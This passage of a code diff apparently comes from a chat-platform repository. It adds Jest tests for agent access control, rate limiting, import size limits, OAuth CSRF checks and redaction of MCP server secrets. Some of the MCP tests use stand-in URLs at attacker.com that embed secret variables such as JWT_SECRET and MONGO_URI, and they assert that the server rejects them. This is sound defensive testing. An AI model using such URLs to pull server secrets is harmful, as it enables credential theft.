+ req.body.agent_id = foreignAgent.id;
+ req.body.addedConvo = { agent_id: addedAgent.id, endpoint: 'agents', model: 'gpt-4' };
+
+ const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
+ await middleware(req, res, next);
+
+ expect(next).not.toHaveBeenCalled();
+ expect(res.status).toHaveBeenCalledWith(403);
+ });
+ });
+
+ describe('ephemeral primary + real addedConvo agent', () => {
+ let addedAgent;
+
+ beforeEach(async () => {
+ addedAgent = await createAgent({
+ id: `agent_added_${Date.now()}`,
+ name: 'Added Agent',
+ provider: 'openai',
+ model: 'gpt-4',
+ author: otherUser._id,
+ });
+
+ await AclEntry.create({
+ principalType: PrincipalType.USER,
+ principalId: otherUser._id,
+ principalModel: PrincipalModel.USER,
+ resourceType: ResourceType.AGENT,
+ resourceId: addedAgent._id,
+ permBits: 15,
+ grantedBy: otherUser._id,
+ });
+ });
+
+ test('runs full addedConvo ACL check even when primary is ephemeral', async () => {
+ req.body.addedConvo = { agent_id: addedAgent.id, endpoint: 'agents', model: 'gpt-4' };
+
+ const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
+ await middleware(req, res, next);
+
+ expect(next).not.toHaveBeenCalled();
+ expect(res.status).toHaveBeenCalledWith(403);
+ });
+
+ test('proceeds when user has ACL for added agent (ephemeral primary)', async () => {
+ await AclEntry.create({
+ principalType: PrincipalType.USER,
+ principalId: testUser._id,
+ principalModel: PrincipalModel.USER,
+ resourceType: ResourceType.AGENT,
+ resourceId: addedAgent._id,
+ permBits: 1,
+ grantedBy: otherUser._id,
+ });
+
+ req.body.addedConvo = { agent_id: addedAgent.id, endpoint: 'agents', model: 'gpt-4' };
+
+ const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
+ await middleware(req, res, next);
+
+ expect(next).toHaveBeenCalled();
+ expect(res.status).not.toHaveBeenCalled();
+ });
+ });
+});
diff --git a/api/server/middleware/limiters/forkLimiters.js b/api/server/middleware/limiters/forkLimiters.js
index e0aa65700c..f1e9b15f11 100644
--- a/api/server/middleware/limiters/forkLimiters.js
+++ b/api/server/middleware/limiters/forkLimiters.js
@@ -48,7 +48,7 @@ const createForkHandler = (ip = true) => {
};
await logViolation(req, res, type, errorMessage, forkViolationScore);
- res.status(429).json({ message: 'Too many conversation fork requests. Try again later' });
+ res.status(429).json({ message: 'Too many requests. Try again later' });
};
};
diff --git a/api/server/routes/__test-utils__/convos-route-mocks.js b/api/server/routes/__test-utils__/convos-route-mocks.js
new file mode 100644
index 0000000000..f89b77db3f
--- /dev/null
+++ b/api/server/routes/__test-utils__/convos-route-mocks.js
@@ -0,0 +1,93 @@
+module.exports = {
+ agents: () => ({ sleep: jest.fn() }),
+
+ api: (overrides = {}) => ({
+ isEnabled: jest.fn(),
+ resolveImportMaxFileSize: jest.fn(() => 262144000),
+ createAxiosInstance: jest.fn(() => ({
+ get: jest.fn(),
+ post: jest.fn(),
+ put: jest.fn(),
+ delete: jest.fn(),
+ })),
+ logAxiosError: jest.fn(),
+ ...overrides,
+ }),
+
+ dataSchemas: () => ({
+ logger: {
+ debug: jest.fn(),
+ info: jest.fn(),
+ warn: jest.fn(),
+ error: jest.fn(),
+ },
+ createModels: jest.fn(() => ({
+ User: {},
+ Conversation: {},
+ Message: {},
+ SharedLink: {},
+ })),
+ }),
+
+ dataProvider: (overrides = {}) => ({
+ CacheKeys: { GEN_TITLE: 'GEN_TITLE' },
+ EModelEndpoint: {
+ azureAssistants: 'azureAssistants',
+ assistants: 'assistants',
+ },
+ ...overrides,
+ }),
+
+ conversationModel: () => ({
+ getConvosByCursor: jest.fn(),
+ getConvo: jest.fn(),
+ deleteConvos: jest.fn(),
+ saveConvo: jest.fn(),
+ }),
+
+ toolCallModel: () => ({ deleteToolCalls: jest.fn() }),
+
+ sharedModels: () => ({
+ deleteAllSharedLinks: jest.fn(),
+ deleteConvoSharedLink: jest.fn(),
+ }),
+
+ requireJwtAuth: () => (req, res, next) => next(),
+
+ middlewarePassthrough: () => ({
+ createImportLimiters: jest.fn(() => ({
+ importIpLimiter: (req, res, next) => next(),
+ importUserLimiter: (req, res, next) => next(),
+ })),
+ createForkLimiters: jest.fn(() => ({
+ forkIpLimiter: (req, res, next) => next(),
+ forkUserLimiter: (req, res, next) => next(),
+ })),
+ configMiddleware: (req, res, next) => next(),
+ validateConvoAccess: (req, res, next) => next(),
+ }),
+
+ forkUtils: () => ({
+ forkConversation: jest.fn(),
+ duplicateConversation: jest.fn(),
+ }),
+
+ importUtils: () => ({ importConversations: jest.fn() }),
+
+ logStores: () => jest.fn(),
+
+ multerSetup: () => ({
+ storage: {},
+ importFileFilter: jest.fn(),
+ }),
+
+ multerLib: () =>
+ jest.fn(() => ({
+ single: jest.fn(() => (req, res, next) => {
+ req.file = { path: '/tmp/test-file.json' };
+ next();
+ }),
+ })),
+
+ assistantEndpoint: () => ({ initializeClient: jest.fn() }),
+};
diff --git a/api/server/routes/__tests__/convos-duplicate-ratelimit.spec.js b/api/server/routes/__tests__/convos-duplicate-ratelimit.spec.js
new file mode 100644
index 0000000000..788119a569
--- /dev/null
+++ b/api/server/routes/__tests__/convos-duplicate-ratelimit.spec.js
@@ -0,0 +1,135 @@
+const express = require('express');
+const request = require('supertest');
+
+const MOCKS = '../__test-utils__/convos-route-mocks';
+
+jest.mock('@librechat/agents', () => require(MOCKS).agents());
+jest.mock('@librechat/api', () => require(MOCKS).api({ limiterCache: jest.fn(() => undefined) }));
+jest.mock('@librechat/data-schemas', () => require(MOCKS).dataSchemas());
+jest.mock('librechat-data-provider', () =>
+ require(MOCKS).dataProvider({ ViolationTypes: { FILE_UPLOAD_LIMIT: 'file_upload_limit' } }),
+);
+
+jest.mock('~/cache/logViolation', () => jest.fn().mockResolvedValue(undefined));
+jest.mock('~/cache/getLogStores', () => require(MOCKS).logStores());
+jest.mock('~/models/Conversation', () => require(MOCKS).conversationModel());
+jest.mock('~/models/ToolCall', () => require(MOCKS).toolCallModel());
+jest.mock('~/models', () => require(MOCKS).sharedModels());
+jest.mock('~/server/middleware/requireJwtAuth', () => require(MOCKS).requireJwtAuth());
+
+jest.mock('~/server/middleware', () => {
+ const { createForkLimiters } = jest.requireActual('~/server/middleware/limiters/forkLimiters');
+ return {
+ createImportLimiters: jest.fn(() => ({
+ importIpLimiter: (req, res, next) => next(),
+ importUserLimiter: (req, res, next) => next(),
+ })),
+ createForkLimiters,
+ configMiddleware: (req, res, next) => next(),
+ validateConvoAccess: (req, res, next) => next(),
+ };
+});
+
+jest.mock('~/server/utils/import/fork', () => require(MOCKS).forkUtils());
+jest.mock('~/server/utils/import', () => require(MOCKS).importUtils());
+jest.mock('~/server/routes/files/multer', () => require(MOCKS).multerSetup());
+jest.mock('multer', () => require(MOCKS).multerLib());
+jest.mock('~/server/services/Endpoints/azureAssistants', () => require(MOCKS).assistantEndpoint());
+jest.mock('~/server/services/Endpoints/assistants', () => require(MOCKS).assistantEndpoint());
+
+describe('POST /api/convos/duplicate - Rate Limiting', () => {
+ let app;
+ let duplicateConversation;
+ const savedEnv = {};
+
+ beforeAll(() => {
+ savedEnv.FORK_USER_MAX = process.env.FORK_USER_MAX;
+ savedEnv.FORK_USER_WINDOW = process.env.FORK_USER_WINDOW;
+ savedEnv.FORK_IP_MAX = process.env.FORK_IP_MAX;
+ savedEnv.FORK_IP_WINDOW = process.env.FORK_IP_WINDOW;
+ });
+
+ afterAll(() => {
+ for (const key of Object.keys(savedEnv)) {
+ if (savedEnv[key] === undefined) {
+ delete process.env[key];
+ } else {
+ process.env[key] = savedEnv[key];
+ }
+ }
+ });
+
+ const setupApp = () => {
+ jest.clearAllMocks();
+ jest.isolateModules(() => {
+ const convosRouter = require('../convos');
+ ({ duplicateConversation } = require('~/server/utils/import/fork'));
+
+ app = express();
+ app.use(express.json());
+ app.use((req, res, next) => {
+ req.user = { id: 'rate-limit-test-user' };
+ next();
+ });
+ app.use('/api/convos', convosRouter);
+ });
+
+ duplicateConversation.mockResolvedValue({
+ conversation: { conversationId: 'duplicated-conv' },
+ });
+ };
+
+ describe('user limit', () => {
+ beforeEach(() => {
+ process.env.FORK_USER_MAX = '2';
+ process.env.FORK_USER_WINDOW = '1';
+ process.env.FORK_IP_MAX = '100';
+ process.env.FORK_IP_WINDOW = '1';
+ setupApp();
+ });
+
+ it('should return 429 after exceeding the user rate limit', async () => {
+ const userMax = parseInt(process.env.FORK_USER_MAX, 10);
+
+ for (let i = 0; i < userMax; i++) {
+ const res = await request(app)
+ .post('/api/convos/duplicate')
+ .send({ conversationId: 'conv-123' });
+ expect(res.status).toBe(201);
+ }
+
+ const res = await request(app)
+ .post('/api/convos/duplicate')
+ .send({ conversationId: 'conv-123' });
+ expect(res.status).toBe(429);
+ expect(res.body.message).toMatch(/too many/i);
+ });
+ });
+
+ describe('IP limit', () => {
+ beforeEach(() => {
+ process.env.FORK_USER_MAX = '100';
+ process.env.FORK_USER_WINDOW = '1';
+ process.env.FORK_IP_MAX = '2';
+ process.env.FORK_IP_WINDOW = '1';
+ setupApp();
+ });
+
+ it('should return 429 after exceeding the IP rate limit', async () => {
+ const ipMax = parseInt(process.env.FORK_IP_MAX, 10);
+
+ for (let i = 0; i < ipMax; i++) {
+ const res = await request(app)
+ .post('/api/convos/duplicate')
+ .send({ conversationId: 'conv-123' });
+ expect(res.status).toBe(201);
+ }
+
+ const res = await request(app)
+ .post('/api/convos/duplicate')
+ .send({ conversationId: 'conv-123' });
+ expect(res.status).toBe(429);
+ expect(res.body.message).toMatch(/too many/i);
+ });
+ });
+});
diff --git a/api/server/routes/__tests__/convos-import.spec.js b/api/server/routes/__tests__/convos-import.spec.js
new file mode 100644
index 0000000000..c4ea139931
--- /dev/null
+++ b/api/server/routes/__tests__/convos-import.spec.js
@@ -0,0 +1,98 @@
+const express = require('express');
+const request = require('supertest');
+const multer = require('multer');
+
+const importFileFilter = (req, file, cb) => {
+ if (file.mimetype === 'application/json') {
+ cb(null, true);
+ } else {
+ cb(new Error('Only JSON files are allowed'), false);
+ }
+};
+
+/** Proxy app that mirrors the production multer + error-handling pattern */
+function createImportApp(fileSize) {
+ const app = express();
+ const upload = multer({
+ storage: multer.memoryStorage(),
+ fileFilter: importFileFilter,
+ limits: { fileSize },
+ });
+ const uploadSingle = upload.single('file');
+
+ function handleUpload(req, res, next) {
+ uploadSingle(req, res, (err) => {
+ if (err && err.code === 'LIMIT_FILE_SIZE') {
+ return res.status(413).json({ message: 'File exceeds the maximum allowed size' });
+ }
+ if (err) {
+ return next(err);
+ }
+ next();
+ });
+ }
+
+ app.post('/import', handleUpload, (req, res) => {
+ res.status(201).json({ message: 'success', size: req.file.size });
+ });
+
+ app.use((err, _req, res, _next) => {
+ res.status(400).json({ error: err.message });
+ });
+
+ return app;
+}
+
+describe('Conversation Import - Multer File Size Limits', () => {
+ describe('multer rejects files exceeding the configured limit', () => {
+ it('returns 413 for files larger than the limit', async () => {
+ const limit = 1024;
+ const app = createImportApp(limit);
+ const oversized = Buffer.alloc(limit + 512, 'x');
+
+ const res = await request(app)
+ .post('/import')
+ .attach('file', oversized, { filename: 'import.json', contentType: 'application/json' });
+
+ expect(res.status).toBe(413);
+ expect(res.body.message).toBe('File exceeds the maximum allowed size');
+ });
+
+ it('accepts files within the limit', async () => {
+ const limit = 4096;
+ const app = createImportApp(limit);
+ const valid = Buffer.from(JSON.stringify({ title: 'test' }));
+
+ const res = await request(app)
+ .post('/import')
+ .attach('file', valid, { filename: 'import.json', contentType: 'application/json' });
+
+ expect(res.status).toBe(201);
+ expect(res.body.message).toBe('success');
+ });
+
+ it('rejects at the exact boundary (limit + 1 byte)', async () => {
+ const limit = 512;
+ const app = createImportApp(limit);
+ const boundary = Buffer.alloc(limit + 1, 'a');
+
+ const res = await request(app)
+ .post('/import')
+ .attach('file', boundary, { filename: 'import.json', contentType: 'application/json' });
+
+ expect(res.status).toBe(413);
+ });
+
+ it('accepts a file just under the limit', async () => {
+ const limit = 512;
+ const app = createImportApp(limit);
+ const underLimit = Buffer.alloc(limit - 1, 'b');
+
+ const res = await request(app)
+ .post('/import')
+ .attach('file', underLimit, { filename: 'import.json', contentType: 'application/json' });
+
+ expect(res.status).toBe(201);
+ });
+ });
+});
diff --git a/api/server/routes/__tests__/convos.spec.js b/api/server/routes/__tests__/convos.spec.js
index 931ef006d0..3bdeac32db 100644
--- a/api/server/routes/__tests__/convos.spec.js
+++ b/api/server/routes/__tests__/convos.spec.js
@@ -1,109 +1,24 @@
const express = require('express');
const request = require('supertest');
-jest.mock('@librechat/agents', () => ({
- sleep: jest.fn(),
-}));
+const MOCKS = '../__test-utils__/convos-route-mocks';
-jest.mock('@librechat/api', () => ({
- isEnabled: jest.fn(),
- createAxiosInstance: jest.fn(() => ({
- get: jest.fn(),
- post: jest.fn(),
- put: jest.fn(),
- delete: jest.fn(),
- })),
- logAxiosError: jest.fn(),
-}));
-
-jest.mock('@librechat/data-schemas', () => ({
- logger: {
- debug: jest.fn(),
- info: jest.fn(),
- warn: jest.fn(),
- error: jest.fn(),
- },
- createModels: jest.fn(() => ({
- User: {},
- Conversation: {},
- Message: {},
- SharedLink: {},
- })),
-}));
-
-jest.mock('~/models/Conversation', () => ({
- getConvosByCursor: jest.fn(),
- getConvo: jest.fn(),
- deleteConvos: jest.fn(),
- saveConvo: jest.fn(),
-}));
-
-jest.mock('~/models/ToolCall', () => ({
- deleteToolCalls: jest.fn(),
-}));
-
-jest.mock('~/models', () => ({
- deleteAllSharedLinks: jest.fn(),
- deleteConvoSharedLink: jest.fn(),
-}));
-
-jest.mock('~/server/middleware/requireJwtAuth', () => (req, res, next) => next());
-
-jest.mock('~/server/middleware', () => ({
- createImportLimiters: jest.fn(() => ({
- importIpLimiter: (req, res, next) => next(),
- importUserLimiter: (req, res, next) => next(),
- })),
- createForkLimiters: jest.fn(() => ({
- forkIpLimiter: (req, res, next) => next(),
- forkUserLimiter: (req, res, next) => next(),
- })),
- configMiddleware: (req, res, next) => next(),
- validateConvoAccess: (req, res, next) => next(),
-}));
-
-jest.mock('~/server/utils/import/fork', () => ({
- forkConversation: jest.fn(),
- duplicateConversation: jest.fn(),
-}));
-
-jest.mock('~/server/utils/import', () => ({
- importConversations: jest.fn(),
-}));
-
-jest.mock('~/cache/getLogStores', () => jest.fn());
-
-jest.mock('~/server/routes/files/multer', () => ({
- storage: {},
- importFileFilter: jest.fn(),
-}));
-
-jest.mock('multer', () => {
- return jest.fn(() => ({
- single: jest.fn(() => (req, res, next) => {
- req.file = { path: '/tmp/test-file.json' };
- next();
- }),
- }));
-});
-
-jest.mock('librechat-data-provider', () => ({
- CacheKeys: {
- GEN_TITLE: 'GEN_TITLE',
- },
- EModelEndpoint: {
- azureAssistants: 'azureAssistants',
- assistants: 'assistants',
- },
-}));
-
-jest.mock('~/server/services/Endpoints/azureAssistants', () => ({
- initializeClient: jest.fn(),
-}));
-
-jest.mock('~/server/services/Endpoints/assistants', () => ({
- initializeClient: jest.fn(),
-}));
+jest.mock('@librechat/agents', () => require(MOCKS).agents());
+jest.mock('@librechat/api', () => require(MOCKS).api());
+jest.mock('@librechat/data-schemas', () => require(MOCKS).dataSchemas());
+jest.mock('librechat-data-provider', () => require(MOCKS).dataProvider());
+jest.mock('~/models/Conversation', () => require(MOCKS).conversationModel());
+jest.mock('~/models/ToolCall', () => require(MOCKS).toolCallModel());
+jest.mock('~/models', () => require(MOCKS).sharedModels());
+jest.mock('~/server/middleware/requireJwtAuth', () => require(MOCKS).requireJwtAuth());
+jest.mock('~/server/middleware', () => require(MOCKS).middlewarePassthrough());
+jest.mock('~/server/utils/import/fork', () => require(MOCKS).forkUtils());
+jest.mock('~/server/utils/import', () => require(MOCKS).importUtils());
+jest.mock('~/cache/getLogStores', () => require(MOCKS).logStores());
+jest.mock('~/server/routes/files/multer', () => require(MOCKS).multerSetup());
+jest.mock('multer', () => require(MOCKS).multerLib());
+jest.mock('~/server/services/Endpoints/azureAssistants', () => require(MOCKS).assistantEndpoint());
+jest.mock('~/server/services/Endpoints/assistants', () => require(MOCKS).assistantEndpoint());
describe('Convos Routes', () => {
let app;
diff --git a/api/server/routes/__tests__/mcp.spec.js b/api/server/routes/__tests__/mcp.spec.js
index e87fcf8f15..1ad8cac087 100644
--- a/api/server/routes/__tests__/mcp.spec.js
+++ b/api/server/routes/__tests__/mcp.spec.js
@@ -32,6 +32,9 @@ jest.mock('@librechat/api', () => {
getFlowState: jest.fn(),
completeOAuthFlow: jest.fn(),
generateFlowId: jest.fn(),
+ resolveStateToFlowId: jest.fn(async (state) => state),
+ storeStateMapping: jest.fn(),
+ deleteStateMapping: jest.fn(),
},
MCPTokenStorage: {
storeTokens: jest.fn(),
@@ -180,7 +183,10 @@ describe('MCP Routes', () => {
MCPOAuthHandler.initiateOAuthFlow.mockResolvedValue({
authorizationUrl: 'https://oauth.example.com/auth',
flowId: 'test-user-id:test-server',
+ flowMetadata: { state: 'random-state-value' },
});
+ MCPOAuthHandler.storeStateMapping.mockResolvedValue();
+ mockFlowManager.initFlow = jest.fn().mockResolvedValue();
const response = await request(app).get('/api/mcp/test-server/oauth/initiate').query({
userId: 'test-user-id',
@@ -367,6 +373,121 @@ describe('MCP Routes', () => {
expect(response.headers.location).toBe(`${basePath}/oauth/error?error=invalid_state`);
});
+ describe('CSRF fallback via active PENDING flow', () => {
+ it('should proceed when a fresh PENDING flow exists and no cookies are present', async () => {
+ const flowId = 'test-user-id:test-server';
+ const mockFlowManager = {
+ getFlowState: jest.fn().mockResolvedValue({
+ status: 'PENDING',
+ createdAt: Date.now(),
+ }),
+ completeFlow: jest.fn().mockResolvedValue(true),
+ deleteFlow: jest.fn().mockResolvedValue(true),
+ };
+ const mockFlowState = {
+ serverName: 'test-server',
+ userId: 'test-user-id',
+ metadata: {},
+ clientInfo: {},
+ codeVerifier: 'test-verifier',
+ };
+
+ getLogStores.mockReturnValue({});
+ require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager);
+ MCPOAuthHandler.getFlowState.mockResolvedValue(mockFlowState);
+ MCPOAuthHandler.completeOAuthFlow.mockResolvedValue({
+ access_token: 'test-token',
+ });
+ MCPTokenStorage.storeTokens.mockResolvedValue();
+ mockRegistryInstance.getServerConfig.mockResolvedValue({});
+
+ const mockMcpManager = {
+ getUserConnection: jest.fn().mockResolvedValue({
+ fetchTools: jest.fn().mockResolvedValue([]),
+ }),
+ };
+ require('~/config').getMCPManager.mockReturnValue(mockMcpManager);
+ require('~/config').getOAuthReconnectionManager.mockReturnValue({
+ clearReconnection: jest.fn(),
+ });
+ require('~/server/services/Config/mcp').updateMCPServerTools.mockResolvedValue();
+
+ const response = await request(app)
+ .get('/api/mcp/test-server/oauth/callback')
+ .query({ code: 'test-code', state: flowId });
+
+ const basePath = getBasePath();
+ expect(response.status).toBe(302);
+ expect(response.headers.location).toContain(`${basePath}/oauth/success`);
+ });
+
+ it('should reject when no PENDING flow exists and no cookies are present', async () => {
+ const flowId = 'test-user-id:test-server';
+ const mockFlowManager = {
+ getFlowState: jest.fn().mockResolvedValue(null),
+ };
+
+ getLogStores.mockReturnValue({});
+ require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager);
+
+ const response = await request(app)
+ .get('/api/mcp/test-server/oauth/callback')
+ .query({ code: 'test-code', state: flowId });
+
+ const basePath = getBasePath();
+ expect(response.status).toBe(302);
+ expect(response.headers.location).toBe(
+ `${basePath}/oauth/error?error=csrf_validation_failed`,
+ );
+ });
+
+ it('should reject when only a COMPLETED flow exists (not PENDING)', async () => {
+ const flowId = 'test-user-id:test-server';
+ const mockFlowManager = {
+ getFlowState: jest.fn().mockResolvedValue({
+ status: 'COMPLETED',
+ createdAt: Date.now(),
+ }),
+ };
+
+ getLogStores.mockReturnValue({});
+ require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager);
+
+ const response = await request(app)
+ .get('/api/mcp/test-server/oauth/callback')
+ .query({ code: 'test-code', state: flowId });
+
+ const basePath = getBasePath();
+ expect(response.status).toBe(302);
+ expect(response.headers.location).toBe(
+ `${basePath}/oauth/error?error=csrf_validation_failed`,
+ );
+ });
+
+ it('should reject when PENDING flow is stale (older than PENDING_STALE_MS)', async () => {
+ const flowId = 'test-user-id:test-server';
+ const mockFlowManager = {
+ getFlowState: jest.fn().mockResolvedValue({
+ status: 'PENDING',
+ createdAt: Date.now() - 3 * 60 * 1000,
+ }),
+ };
+
+ getLogStores.mockReturnValue({});
+ require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager);
+
+ const response = await request(app)
+ .get('/api/mcp/test-server/oauth/callback')
+ .query({ code: 'test-code', state: flowId });
+
+ const basePath = getBasePath();
+ expect(response.status).toBe(302);
+ expect(response.headers.location).toBe(
+ `${basePath}/oauth/error?error=csrf_validation_failed`,
+ );
+ });
+ });
+
it('should handle OAuth callback successfully', async () => {
// mockRegistryInstance is defined at the top of the file
const mockFlowManager = {
@@ -1572,12 +1693,14 @@ describe('MCP Routes', () => {
it('should return all server configs for authenticated user', async () => {
const mockServerConfigs = {
'server-1': {
- endpoint: 'http://server1.com',
- name: 'Server 1',
+ type: 'sse',
+ url: 'http://server1.com/sse',
+ title: 'Server 1',
},
'server-2': {
- endpoint: 'http://server2.com',
- name: 'Server 2',
+ type: 'sse',
+ url: 'http://server2.com/sse',
+ title: 'Server 2',
},
};
@@ -1586,7 +1709,18 @@ describe('MCP Routes', () => {
const response = await request(app).get('/api/mcp/servers');
expect(response.status).toBe(200);
- expect(response.body).toEqual(mockServerConfigs);
+ expect(response.body['server-1']).toMatchObject({
+ type: 'sse',
+ url: 'http://server1.com/sse',
+ title: 'Server 1',
+ });
+ expect(response.body['server-2']).toMatchObject({
+ type: 'sse',
+ url: 'http://server2.com/sse',
+ title: 'Server 2',
+ });
+ expect(response.body['server-1'].headers).toBeUndefined();
+ expect(response.body['server-2'].headers).toBeUndefined();
expect(mockRegistryInstance.getAllServerConfigs).toHaveBeenCalledWith('test-user-id');
});
@@ -1641,10 +1775,10 @@ describe('MCP Routes', () => {
const response = await request(app).post('/api/mcp/servers').send({ config: validConfig });
expect(response.status).toBe(201);
- expect(response.body).toEqual({
- serverName: 'test-sse-server',
- ...validConfig,
- });
+ expect(response.body.serverName).toBe('test-sse-server');
+ expect(response.body.type).toBe('sse');
+ expect(response.body.url).toBe('https://mcp-server.example.com/sse');
+ expect(response.body.title).toBe('Test SSE Server');
expect(mockRegistryInstance.addServer).toHaveBeenCalledWith(
'temp_server_name',
expect.objectContaining({
@@ -1698,6 +1832,78 @@ describe('MCP Routes', () => {
expect(response.body.message).toBe('Invalid configuration');
});
+ it('should reject SSE URL containing env variable references', async () => {
+ const response = await request(app)
+ .post('/api/mcp/servers')
+ .send({
+ config: {
+ type: 'sse',
+ url: 'http://attacker.com/?secret=${JWT_SECRET}',
+ },
+ });
+
+ expect(response.status).toBe(400);
+ expect(response.body.message).toBe('Invalid configuration');
+ expect(mockRegistryInstance.addServer).not.toHaveBeenCalled();
+ });
+
+ it('should reject streamable-http URL containing env variable references', async () => {
+ const response = await request(app)
+ .post('/api/mcp/servers')
+ .send({
+ config: {
+ type: 'streamable-http',
+ url: 'http://attacker.com/?key=${CREDS_KEY}&iv=${CREDS_IV}',
+ },
+ });
+
+ expect(response.status).toBe(400);
+ expect(response.body.message).toBe('Invalid configuration');
+ expect(mockRegistryInstance.addServer).not.toHaveBeenCalled();
+ });
+
+ it('should reject websocket URL containing env variable references', async () => {
+ const response = await request(app)
+ .post('/api/mcp/servers')
+ .send({
+ config: {
+ type: 'websocket',
+ url: 'ws://attacker.com/?secret=${MONGO_URI}',
+ },
+ });
+
+ expect(response.status).toBe(400);
+ expect(response.body.message).toBe('Invalid configuration');
+ expect(mockRegistryInstance.addServer).not.toHaveBeenCalled();
+ });
+
+ it('should redact secrets from create response', async () => {
+ const validConfig = {
+ type: 'sse',
+ url: 'https://mcp-server.example.com/sse',
+ title: 'Test Server',
+ };
+
+ mockRegistryInstance.addServer.mockResolvedValue({
+ serverName: 'test-server',
+ config: {
+ ...validConfig,
+ apiKey: { source: 'admin', authorization_type: 'bearer', key: 'admin-secret-key' },
+ oauth: { client_id: 'cid', client_secret: 'admin-oauth-secret' },
+ headers: { Authorization: 'Bearer leaked-token' },
+ },
+ });
+
+ const response = await request(app).post('/api/mcp/servers').send({ config: validConfig });
+
+ expect(response.status).toBe(201);
+ expect(response.body.apiKey?.key).toBeUndefined();
+ expect(response.body.oauth?.client_secret).toBeUndefined();
+ expect(response.body.headers).toBeUndefined();
+ expect(response.body.apiKey?.source).toBe('admin');
+ expect(response.body.oauth?.client_id).toBe('cid');
+ });
+
it('should return 500 when registry throws error', async () => {
const validConfig = {
type: 'sse',
@@ -1727,7 +1933,9 @@ describe('MCP Routes', () => {
const response = await request(app).get('/api/mcp/servers/test-server');
expect(response.status).toBe(200);
- expect(response.body).toEqual(mockConfig);
+ expect(response.body.type).toBe('sse');
+ expect(response.body.url).toBe('https://mcp-server.example.com/sse');
+ expect(response.body.title).toBe('Test Server');
expect(mockRegistryInstance.getServerConfig).toHaveBeenCalledWith(
'test-server',
'test-user-id',
@@ -1743,6 +1951,29 @@ describe('MCP Routes', () => {
expect(response.body).toEqual({ message: 'MCP server not found' });
});
+ it('should redact secrets from get response', async () => {
+ mockRegistryInstance.getServerConfig.mockResolvedValue({
+ type: 'sse',
+ url: 'https://mcp-server.example.com/sse',
+ title: 'Secret Server',
+ apiKey: { source: 'admin', authorization_type: 'bearer', key: 'decrypted-admin-key' },
+ oauth: { client_id: 'cid', client_secret: 'decrypted-oauth-secret' },
+ headers: { Authorization: 'Bearer internal-token' },
+ oauth_headers: { 'X-OAuth': 'secret-value' },
+ });
+
+ const response = await request(app).get('/api/mcp/servers/secret-server');
+
+ expect(response.status).toBe(200);
+ expect(response.body.title).toBe('Secret Server');
+ expect(response.body.apiKey?.key).toBeUndefined();
+ expect(response.body.apiKey?.source).toBe('admin');
+ expect(response.body.oauth?.client_secret).toBeUndefined();
+ expect(response.body.oauth?.client_id).toBe('cid');
+ expect(response.body.headers).toBeUndefined();
+ expect(response.body.oauth_headers).toBeUndefined();
+ });
+
it('should return 500 when registry throws error', async () => {
mockRegistryInstance.getServerConfig.mockRejectedValue(new Error('Database error'));
@@ -1769,7 +2000,9 @@ describe('MCP Routes', () => {
.send({ config: updatedConfig });
expect(response.status).toBe(200);
- expect(response.body).toEqual(updatedConfig);
+ expect(response.body.type).toBe('sse');
+ expect(response.body.url).toBe('https://updated-mcp-server.example.com/sse');
+ expect(response.body.title).toBe('Updated Server');
expect(mockRegistryInstance.updateServer).toHaveBeenCalledWith(
'test-server',
expect.objectContaining({
@@ -1781,6 +2014,35 @@ describe('MCP Routes', () => {
);
});
+ it('should redact secrets from update response', async () => {
+ const validConfig = {
+ type: 'sse',
+ url: 'https://mcp-server.example.com/sse',
+ title: 'Updated Server',
+ };
+
+ mockRegistryInstance.updateServer.mockResolvedValue({
+ ...validConfig,
+ apiKey: { source: 'admin', authorization_type: 'bearer', key: 'preserved-admin-key' },
+ oauth: { client_id: 'cid', client_secret: 'preserved-oauth-secret' },
+ headers: { Authorization: 'Bearer internal-token' },
+ env: { DATABASE_URL: 'postgres://admin:pass@localhost/db' },
+ });
+
+ const response = await request(app)
+ .patch('/api/mcp/servers/test-server')
+ .send({ config: validConfig });
+
+ expect(response.status).toBe(200);
+ expect(response.body.title).toBe('Updated Server');
+ expect(response.body.apiKey?.key).toBeUndefined();
+ expect(response.body.apiKey?.source).toBe('admin');
+ expect(response.body.oauth?.client_secret).toBeUndefined();
+ expect(response.body.oauth?.client_id).toBe('cid');
+ expect(response.body.headers).toBeUndefined();
+ expect(response.body.env).toBeUndefined();
+ });
+
it('should return 400 for invalid configuration', async () => {
const invalidConfig = {
type: 'sse',
@@ -1797,6 +2059,51 @@ describe('MCP Routes', () => {
expect(response.body.errors).toBeDefined();
});
+ it('should reject SSE URL containing env variable references', async () => {
+ const response = await request(app)
+ .patch('/api/mcp/servers/test-server')
+ .send({
+ config: {
+ type: 'sse',
+ url: 'http://attacker.com/?secret=${JWT_SECRET}',
+ },
+ });
+
+ expect(response.status).toBe(400);
+ expect(response.body.message).toBe('Invalid configuration');
+ expect(mockRegistryInstance.updateServer).not.toHaveBeenCalled();
+ });
+
+ it('should reject streamable-http URL containing env variable references', async () => {
+ const response = await request(app)
+ .patch('/api/mcp/servers/test-server')
+ .send({
+ config: {
+ type: 'streamable-http',
+ url: 'http://attacker.com/?key=${CREDS_KEY}',
+ },
+ });
+
+ expect(response.status).toBe(400);
+ expect(response.body.message).toBe('Invalid configuration');
+ expect(mockRegistryInstance.updateServer).not.toHaveBeenCalled();
+ });
+
+ it('should reject websocket URL containing env variable references', async () => {
+ const response = await request(app)
+ .patch('/api/mcp/servers/test-server')
+ .send({
+ config: {
+ type: 'websocket',
+ url: 'ws://attacker.com/?secret=${MONGO_URI}',
+ },
+ });
+
+ expect(response.status).toBe(400);
+ expect(response.body.message).toBe('Invalid configuration');
+ expect(mockRegistryInstance.updateServer).not.toHaveBeenCalled();
+ });
+
it('should return 500 when registry throws error', async () => {
const validConfig = {
type: 'sse',
diff --git a/api/server/routes/__tests__/messages-delete.spec.js b/api/server/routes/__tests__/messages-delete.spec.js
new file mode 100644
index 0000000000..e134eecfd0
--- /dev/null
+++ b/api/server/routes/__tests__/messages-delete.spec.js
@@ -0,0 +1,200 @@
+const mongoose = require('mongoose');
+const express = require('express');
+const request = require('supertest');
+const { v4: uuidv4 } = require('uuid');
+const { MongoMemoryServer } = require('mongodb-memory-server');
+
+jest.mock('@librechat/agents', () => ({
+ sleep: jest.fn(),
+}));
+
+jest.mock('@librechat/api', () => ({
+ unescapeLaTeX: jest.fn((x) => x),
